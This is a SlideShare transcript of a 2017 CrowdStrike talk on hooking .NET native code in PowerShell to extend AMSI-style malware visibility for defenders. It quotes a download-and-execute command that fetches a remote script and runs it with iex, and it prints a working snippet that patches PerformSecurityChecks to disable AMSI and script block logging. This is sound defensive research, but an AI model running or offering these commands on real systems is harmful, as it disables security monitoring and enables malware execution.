SlideShare a Scribd company logo
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
POWERSHELL INSIDE OUT:
APPLIED .NET HACKING FOR ENHANCED
VISIBILITY
SATOSHI TANDA
ENGINEER, CROWDSTRIKE
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
ABOUT MYSELF
 Engineer at CrowdStrike
 Twitter @standa_t
 Low-level technology software engineer
 Reverse engineer & malware analyst
 Developer of security software
 Creator of HyperPlatform & SimpleSVM (hypervisors)
 Conference speaker at REcon, BlueHat, Nullcon
 Slides & sample code will be available: github.com/tandasat/DotNetHooking
2
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.3
PERSONAL MOTIVATION
 Downloader -> Payload
 EXE -> EXE
upatre
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.4
PERSONAL MOTIVATION
 Downloader -> Payload
 Script -> EXE
upatre js downloader
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.5
PERSONAL MOTIVATION
 Presence of offensive, post exploitation tools
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.6
ABOUT TALK
How to defend ourselves against PowerShell
threats
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
1
Challenges with PowerShell Attacks &
AMSI
2 Introduction to .NET Native Code Hooking
3 Gaining Visibility into PowerShell
4 Takeaways & Recommendation
7
CHALLENGES WITH
POWERSHELL ATTACKS & AMSI
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.8
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
MALICIOUS POWERSHELL VS ANTIVIRUS
 PowerShell is commonly used within the attack chain
 Hard to detect with AV software
 Host process (powershell.exe) is a signed, legitimate file
 Script files can easily be mutated (ie, whitespace, comments, variable names)
 Script files may not be used at all
 PowerShell engine can be “injected” into arbitrary processes to run commands (eg, PSInject)
 Even harder in reality:
9
>powershell -file “C:UsersstandaAppDataLocalTempns13094.ps1"
>powershell -command “iex (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI’)”
>powershell -enc SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0A…
ANTIMALWARE SCAN INTERFACE (AMSI)
 New Feature introduced with Windows 10
 Software can be registered as an AMSI provider (requires NDA w/ Microsoft,
formally)
 Script engines forward script content to AMSI providers before execution
 AMSI providers can scan and block content from execution
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.10
System.Management.
Automation.dll
Jscript.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
AsmiScanString
IAntimalwareProvider::Scan
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
SILVER BULLET
 Content of script file being executed is visible
 Invoke-Expression’d strings is visible
 Decoded strings of -EncodedCommand is visible
 Activated whenever the PowerShell engine is loaded
11
OR, IS IT? (1/2)
 AMSI is only available for PowerShell v5+ on Windows 10
 Older Windows versions are unprotected
 Unprotected against PowerShell v2 (the downgrade attack)
 AMSI does not do de-obfuscation as you might have wished
 Naïve regex can be bypassed
OR, IS IT? (2/2)
 AMSI can be disabled though PowerShell without admin privileges
 AMSI provider must detect the first attack content, or all bypassed
 Unresolved flaw exists preventing AMSI providers from receiving correct data
System.Management.
Automation.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
AsmiScanString IAntimalwareProvider::Scan
COM Hijacking
Reflection-based
attacks
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
RECAP & MOTIVATION
 PowerShell threats are common and hard to detect
 AMSI provides significant help but comes with limitations
 Can we do anything?
15
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.16
INTRODUCTION TO
.NET NATIVE CODE HOOKING
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.17
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
.NET NATIVE CODE HOOKING
 A technique to modify behavior of managed programs by overwriting generated
native code at the runtime
 This allows you to inspect and change behavior of programs
 First introduced by Topher Timzen and Ryan Allen
 Its advantages over the other .NET hooking techniques were thoroughly analyzed
by Amanda Rousseau recently
18
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BASICS OF MANAGED PROGRAM
EXECUTION (1/2)
 Code written in a Common Language
Infrastructure language, such as C#, is
compiled into a program made up of
Microsoft Intermediate Language (MSIL)
 We call such a program as a “managed
program”
 MSIL is compiled into native assembly code
in two ways:
 Just-In-Time (JIT) compile at runtime on
memory by the JIT compiler
 Ahead-Of-Time (AOT) of execution on disk
by Ngen
 Native code is executed either way
19
C# Source File(s)
C# Compiler
MSIL
(Executable File)
CLR
(JIT Compiler)
Ngen
Native Code
(Memory)
Native Code
(Executable File)
Compile
JIT Compile AOT Compile
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BASICS OF MANAGED PROGRAM
EXECUTION (2/2)
 Managed programs are executed on the top of .NET Framework, which provides
API to be called by the managed programs
20
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLLDLL DLL DLL
Managed Program Unmanaged Program
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
BASICS OF MANAGED PROGRAM
EXECUTION (2/2)
 Managed programs are executed on the top of .NET Framework, which provides
API to be called by the managed programs
21
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLLDLL DLL DLL
Managed Program Unmanaged Program
Hook
Hook Hook
Hook
Hook
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
OVERVIEW OF HOOKING
 Flow of the unmanaged (eg, C++) code hooking technique:
1. Execute hooking code inside a target process
2. Locate the address of a target function
3. Overwrite native code at the address
 .NET native code hooking is same, except that it targets .NET assemblies and
methods
22
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
HOW TO LOCATE AN ADDRESS OF NATIVE
CODE
 Reflection is a technology to allow managed programs to find and access the
information of assemblies, methods, and fields etc. at runtime
 Think of this as full source code access at runtime
 RuntimeMethodHandle.GetFunctionPointer method returns the address of
compiled native code if already compiled
 Think of this as GetProcAddress API, but not limited to exports!
 If a target method has not yet executed, it might not be compiled and might not yet
have native code to be located
 JIT compilation can be triggered with the RuntimeHelpers.PrepareMethod method
23
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
EXAMPLE CODE (C#)
// Get an AmsiUtils class from an assembly
targetClass = targetAssembly.GetType("System.Management.Automation.AmsiUtils");
// Get a ScanContent method of the class
targetMethod = targetClass.GetMethod("ScanContent", ...);
// Perform JIT compilation if not done yet
RuntimeHelpers.PrepareMethod(targetMethod.MethodHandle);
// Get an address of compiled native code
targetAddr = targetMethod.MethodHandle.GetFunctionPointer();
// Overwrite contents of the address to install hook
// ...
24
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
HOW TO EXECUTE HOOKING MANAGED
CODE
 One must be able to execute managed code inside a target process to install
hooks
 This can be achieved by using the Hosting API from unmanaged code
 We will refer to such code as bootstrap code
 The API lets unmanaged code interact with managed code and load an assembly
into the managed code realm
 Bootstrap code can be injected in many ways (eg, AppInit_Dlls, device drivers)
25
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
USING UNMANAGED CODE
1. Inject bootstrap code into a target
process
2. Bootstrap code loads (or “injects”) a
hooking assembly into the managed
code realm
3. The hooking assembly locates a target
method, triggers JIT compilation as
needed, overwrites its native code
26
Managed
Unmanaged
Kernel
User
Bootstrap
Hooking
Assembly
Target
Assembly
Driver (*)
1) Inject bootstrap code
2) Load managed assembly
3) Force to JIT compile,
modify compiled native code
Target Process Address Space
*) Optionally, use a driver
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
USING APPDOMAINMANAGER
1. Register an assembly implements a
custom AppDomainManager
2. CLR loads the assembly when the first
AppDomain is created (at init-time of
the managed code realm).
3. The hooking assembly locates a target
method, triggers JIT compilation as
needed, overwrites its native code
 Pros: least code required
 Cons: need special settings (env var)
27
Managed
Unmanaged
Kernel
User
Hooking
Assembly
Target
Assembly
3) Force to JIT compile,
modify compiled native code
Target Process Address Space
.NET (CLR)
2) Load managed assembly
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.28
GAINING VISIBILITY INTO POWERSHELL
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.29
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
POWERSHELL IS A MANAGED PROGRAM
 PowerShell language is implemented in System.Management.Automation.dll
written in C#
 We will refer to the DLL as SMA.dll
 Powershell.exe is just a client program of the DLL
 Any behavior of SMA.dll can
be intercepted and altered with
the technique
30
Assembly.NET Framework
Win32 API
Assembly Assembly
DLL DLL DLL
Managed Program
Hook
Hook
Hook
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
ENHANCING AMSI & MORE
 Implement an AMSI equivalent feature for Windows 8.1 and earlier
 Implement an AMSI equivalent feature for PowerShell 4 and earlier
 Make AMSI bypass-resilient
 Cmdlet execution
 De-obfuscating strings
31
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
EMULATING AMSI ON OLDER WINDOWS + PS
V5
 Possible to emulate AMSI by hooking methods in SMA.dll
 In SMA.dll for v5, invocation to AMSI providers is implemented by the
AmsiUtils.ScanContent method
 Overwrite this with your own scan logic
internal static AmsiNativeMethods.AMSI_RESULT ScanContent (string content,
string sourceMetadata) {
if (amsiInitFailed) {
return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
//...
hr = AmsiNativeMethods.AmsiScanString(...);
32
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
EMULATING AMSI ON OLDER POWERSHELL
 Some challenges:
 No AmsiUtils class, and no open source implementation
 Appropriate methods must be found with reverse engineering
 Good news ;-)
 Free .NET decompilers out there, and those produce VERY readable code
 dotPeek, ILSpy, JustDecompile
 Debugger works as if you had source code
 WinDbg + SOS and SOSEX
 Many implementation are still similar to the open sourced version
33
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
AMSI BYPASS-PROOF
 Known AMSI bypass techniques prevent the ScanContent method from calling the
AmsiScanString function or using a proper AMSI provider DLL
 Resetting amsiContext or amsiInitFailed
 Hijacking COM
 The unresolved flaw prevents AMSI providers from receiving correct data from
AMSI.dll
 None affect the emulated logic since nor ScanContent nor an AMSI provider is
used
34
System.Management.
Automation.dll
Amsi.dll
Amsi.dll
Amsi.dll
AMSI Provider
Hooked
Code
AsmiScanString IAntimalwareProvider::Scan
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
FURTHER VISIBILITY: CMDLET EXECUTION
 Access to all parameters that are already de-obfuscated
 The ProcessRecord method is called when a cmdlet is executed
 Eg, the InvokeExpressionCommand.ProcessRecord method for Invoke-Expression
 The “this” pointer holds all parameters
 PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ’)
 this->_command holds “Write-Host this is a bad command!” when the method is called
35
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
DEMO: EMULATED AMSI & MORE
36
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
CHALLENGES & LIMITATIONS
 Requires reverse engineering and implementation-dependent code
 Can be noisy when lower-level methods are hooked
 An attacker can break hooks with the same technique (hooks are not security
boundary)
37
#
# Overwrites PerformSecurityChecks as { return }
# disabling AMSI and the most of suspicious script block logging.
#
> $code = [byte[]](0xc3);
> $addr =
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetMethod('PerformSecurityChecks',
'NonPublic,Instance', $null, [Type]::EmptyTypes, $null).MethodHandle.GetFunctionPointer();
> $definition = '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr Address, UInt32 Size,
UInt32 NewProtect, out UInt32 OldProtect);‘;
> $kernel32 = Add-Type -MemberDefinition $definition -Name ‘Kernel32’ -Namespace ‘Win32’ -PassThru;
> $oldProtect = [UInt32]0;
> $kernel32::VirtualProtect($addr, $code.Length, 0x40, [ref]$oldProtect);
> [Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length);
TAKEAWAYS &
RECOMMENDATION
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.38
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
TAKEAWAYS
 AMSI significantly increases visibility into script execution as-is, but comes with
limitations
 .NET native code hooking allows you to inspect behavior of managed programs
 AMSI-equivalent features can be implemented on earlier versions of Windows and
PowerShell
 More extended capabilities can also be implemented as needed
39
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.40
FOR ENTERPRISE DEFENDERS
 Use Windows 10 + PowerShell v5, and review security features available
 AMSI gives excellent visibility as-is despite its limitations
 Script block logging provides postmortem visibility
 JEA (Just Enough Administration) restricts what admins can do with PowerShell
 Enable Constrained Language Mode with AppLocker or Device Guard
 Kills PowerShell (reflection) based AMSI and script block logging bypasses (and more!)
 Remove PowerShell v2
 Prevents the downgrade attack
 Keep systems up to date
 A fix of the AMSI bypass flaw will be coming soon
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.41
FOR HUNTERS & SECURITY SOFTWARE
VENDORS
 Understand capabilities AMSI offers (AMSI is supported and evolving)
 Review the .NET native code hooking technique for your goals
 It is a powerful technique to inspect managed programs
 Core concept is simple and has little undocumented-ness
 Can be handy for malware analysis too (eg, dynamic analysis, unpacking)
 Play with sample code to learn more: github.com/tandasat/DotNetHooking
 Can be applied for .NET Core (ie, PowerShell v6)
 Pay attention to appearance of GetFunctionPointer in PowerShell
 This technique can be abused by attackers
 Add-Type & VirtualProtect might not be required (JIT-ed code is RWE by default)
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
ACKNOWLEDGEMENTS
 Alex Ionescu (@aionescu)
 Aaron LeMasters (@lilhoser)
 Researchers influenced and motivated me the most:
 Matt Graeber (@mattifestation)
 Daniel Bohannon (@danielbohannon)
42
THANK YOU!
Satoshi Tanda
@standa_t
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.43
QUESTIONS
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.44
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
RESOURCES: RELEVANT RESEARCH
 AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 Nikhil Mittal
 https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
 Hijacking Arbitrary .NET Application Control Flow
 Topher Timzen and Ryan Allen
 https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET-
Application-Control-FlowWP.pdf
 .Net Hijacking to Defend PowerShell
 Amanda Rousseau
 https://www.slideshare.net/AmandaRousseau1/net-hijacking-to-defend-powershellbsidessf2017
 https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf
 AMSI Bypass via PowerShell
 Matt Graeber
 https://twitter.com/mattifestation/status/735261120487772160
 https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1
 AMSI Bypass via Hijacking
 Matt Nelson
 https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/
45
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.46
RESOURCES: CLR & .NET INTERNALS
 CoreCLR -- the open source version of CLR and .NET Framework
 https://github.com/dotnet/coreclr/tree/master/Documentation/botr
 https://github.com/dotnet/docs
 PowerShell Core -- the open source version of PowerShell
 https://github.com/PowerShell/PowerShell
 Hosting API and Injection
 https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/
 https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0 (CLR 4)
 https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-4da36165 (CLR 2)
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.47
RESOURCES: POWERSHELL DEBUGGING
 Debugging Managed Code Using the Windows Debugger
 https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-
code
 WinDbg / SOS Cheat Sheet
 http://geekswithblogs.net/.netonmymind/archive/2006/03/14/72262.aspx
 WinDbg cheat sheet
 https://theartofdev.com/windbg-cheat-sheet/
 SOSEX
 http://www.stevestechspot.com/
 MEX Debugging Extension for WinDbg
 https://blogs.msdn.microsoft.com/luisdem/2016/07/19/mex-debugging-extension-for-windbg-2/
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.48
RESOURCES: EXAMPLE DEBUGGING
SESSION (1/2)#
# STEP 1: Run powershell.exe normally and attach with a WinDbg. Then break in
# to a debugger, and load SOS and SOSEX extensions.
#
0:003> .loadby sos mscorwks
0:003> .load C:windbg_initsosex_64sosex.dll
#
# STEP 2: Set a breakpoint onto the InvokeExpressionCommand.ProcessRecord method
#
0:003> !mbm Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord
Breakpoint set at Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord() in AppDomain 0000018a8fbe1670.
0:003> g
#
# STEP 3: Execute the Invoke-Expression cmdlet on PowerShell. The breakpoint
# should hit.
#
PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ')
2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.49
RESOURCES: EXAMPLE DEBUGGING
SESSION (2/2)#
# STEP 4: Dump contents of the "this" pointer and find the address of the
# _command field.
#
0:006> !do rcx
...
Fields:
MT Field Offset Type VT Attr Value Name
...
00007fff58e27ed0 4000252 70 System.String 0 instance 0000018a91e5fef0 _command
#
# STEP 5: Dump contents of the _command field.
#
0:006> !do 0000018a91e5fef0
...
String: Write-Host this is a bad command!

More Related Content

PPTX
COM Hijacking Techniques - Derbycon 2019
PDF
Attacker's Perspective of Active Directory
PPTX
Taking Hunting to the Next Level: Hunting in Memory
PPTX
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
PDF
No Easy Breach DerbyCon 2016
PDF
Social Engineering the Windows Kernel by James Forshaw
PDF
Upping the APT hunting game: learn the best YARA practices from Kaspersky
PDF
Derbycon - The Unintended Risks of Trusting Active Directory
COM Hijacking Techniques - Derbycon 2019
Attacker's Perspective of Active Directory
Taking Hunting to the Next Level: Hunting in Memory
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
No Easy Breach DerbyCon 2016
Social Engineering the Windows Kernel by James Forshaw
Upping the APT hunting game: learn the best YARA practices from Kaspersky
Derbycon - The Unintended Risks of Trusting Active Directory

What's hot (20)

PPTX
Mimikatz
PDF
Red Team Methodology - A Naked Look
PDF
Secure coding presentation Oct 3 2020
PDF
A Threat Hunter Himself
PDF
Thick Application Penetration Testing: Crash Course
PPTX
Client side attacks using PowerShell
PPTX
Threat Hunting Web Shells Using Splunk
PPTX
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
PPTX
Abusing Microsoft Kerberos - Sorry you guys don't get it
PDF
Hunting for Credentials Dumping in Windows Environment
PDF
CNIT 152: 1 Real-World Incidents
PDF
Welcome to the Jungle: Pentesting AWS
PDF
Malware analysis _ Threat Intelligence Morocco
PDF
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
PPTX
I hunt sys admins 2.0
PPTX
Docker Security Overview
PDF
Introduction to red team operations
PDF
aclpwn - Active Directory ACL exploitation with BloodHound
PDF
CNIT 129S: 8: Attacking Access Controls
PDF
Practical Malware Analysis: Ch 11: Malware Behavior
Mimikatz
Red Team Methodology - A Naked Look
Secure coding presentation Oct 3 2020
A Threat Hunter Himself
Thick Application Penetration Testing: Crash Course
Client side attacks using PowerShell
Threat Hunting Web Shells Using Splunk
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
Abusing Microsoft Kerberos - Sorry you guys don't get it
Hunting for Credentials Dumping in Windows Environment
CNIT 152: 1 Real-World Incidents
Welcome to the Jungle: Pentesting AWS
Malware analysis _ Threat Intelligence Morocco
Nikita Abdullin - Reverse-engineering of embedded MIPS devices. Case Study - ...
I hunt sys admins 2.0
Docker Security Overview
Introduction to red team operations
aclpwn - Active Directory ACL exploitation with BloodHound
CNIT 129S: 8: Attacking Access Controls
Practical Malware Analysis: Ch 11: Malware Behavior

Similar to PowerShell Inside Out: Applied .NET Hacking for Enhanced Visibility by Satoshi Tanda (20)

PDF
.Net Hijacking to Defend PowerShell BSidesSF2017
PDF
how-to-bypass-AM-PPL
PDF
.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019
PDF
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
PPTX
powershell-is-dead-epic-learnings-london
PPTX
You are not_hiding_from_me_.net
PDF
.NET MALWARE THREATS -- BHACK CONFERENCE 2019
PPTX
Drilling deeper with Veil's PowerTools
PDF
BlueHat v18 || Memory resident implants - code injection is alive and well
PPTX
Let's Talk Technical: Malware Evasion and Detection
PDF
DEFCON 27 - ALEXANDRE BORGES - dot net malware threats
PDF
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
PPTX
Antivirus Evasion Techniques and Countermeasures
PPTX
Anti-Virus Evasion Techniques and Countermeasures
PPT
Dll injection
PPTX
Catch Me If You Can: PowerShell Red vs Blue
PDF
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
PDF
CNIT 126 7: Analyzing Malicious Windows Programs
PPTX
Secure coding : Impact and demo
PDF
CNIT 126 12: Covert Malware Launching
.Net Hijacking to Defend PowerShell BSidesSF2017
how-to-bypass-AM-PPL
.NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
powershell-is-dead-epic-learnings-london
You are not_hiding_from_me_.net
.NET MALWARE THREATS -- BHACK CONFERENCE 2019
Drilling deeper with Veil's PowerTools
BlueHat v18 || Memory resident implants - code injection is alive and well
Let's Talk Technical: Malware Evasion and Detection
DEFCON 27 - ALEXANDRE BORGES - dot net malware threats
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
Antivirus Evasion Techniques and Countermeasures
Anti-Virus Evasion Techniques and Countermeasures
Dll injection
Catch Me If You Can: PowerShell Red vs Blue
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
CNIT 126 7: Analyzing Malicious Windows Programs
Secure coding : Impact and demo
CNIT 126 12: Covert Malware Launching

More from CODE BLUE (20)

PDF
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
PDF
[cb22] Tales of 5G hacking by Karsten Nohl
PDF
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
PDF
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
PDF
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
PDF
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
PDF
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
PDF
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
PPTX
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
PPTX
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
PDF
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
PDF
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
PDF
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
PDF
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
PDF
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
PDF
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...

Recently uploaded (20)

PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PPTX
Introduction to Artificial Intelligence
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
PDF
System and Network Administraation Chapter 3
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
PDF
iTop VPN Free 5.6.0.5262 Crack latest version 2025
PDF
SAP S4 Hana Brochure 3 (PTS SYSTEMS AND SOLUTIONS)
PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
PDF
Upgrade and Innovation Strategies for SAP ERP Customers
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PDF
Cost to Outsource Software Development in 2025
PDF
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
PPTX
Transform Your Business with a Software ERP System
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
PDF
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
PPTX
Odoo POS Development Services by CandidRoot Solutions
PDF
PTS Company Brochure 2025 (1).pdf.......
PDF
Softaken Excel to vCard Converter Software.pdf
PPTX
L1 - Introduction to python Backend.pptx
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Introduction to Artificial Intelligence
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
System and Network Administraation Chapter 3
Navsoft: AI-Powered Business Solutions & Custom Software Development
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
iTop VPN Free 5.6.0.5262 Crack latest version 2025
SAP S4 Hana Brochure 3 (PTS SYSTEMS AND SOLUTIONS)
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
Upgrade and Innovation Strategies for SAP ERP Customers
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
Cost to Outsource Software Development in 2025
Why TechBuilder is the Future of Pickup and Delivery App Development (1).pdf
Transform Your Business with a Software ERP System
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
Odoo POS Development Services by CandidRoot Solutions
PTS Company Brochure 2025 (1).pdf.......
Softaken Excel to vCard Converter Software.pdf
L1 - Introduction to python Backend.pptx

PowerShell Inside Out: Applied .NET Hacking for Enhanced Visibility by Satoshi Tanda

  • 1. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. POWERSHELL INSIDE OUT: APPLIED .NET HACKING FOR ENHANCED VISIBILITY SATOSHI TANDA ENGINEER, CROWDSTRIKE
  • 2. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. ABOUT MYSELF  Engineer at CrowdStrike  Twitter @standa_t  Low-level technology software engineer  Reverse engineer & malware analyst  Developer of security software  Creator of HyperPlatform & SimpleSVM (hypervisors)  Conference speaker at REcon, BlueHat, Nullcon  Slides & sample code will be available: github.com/tandasat/DotNetHooking 2
  • 3. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.3 PERSONAL MOTIVATION  Downloader -> Payload  EXE -> EXE upatre
  • 4. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.4 PERSONAL MOTIVATION  Downloader -> Payload  Script -> EXE upatre js downloader
  • 5. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.5 PERSONAL MOTIVATION  Presence of offensive, post exploitation tools
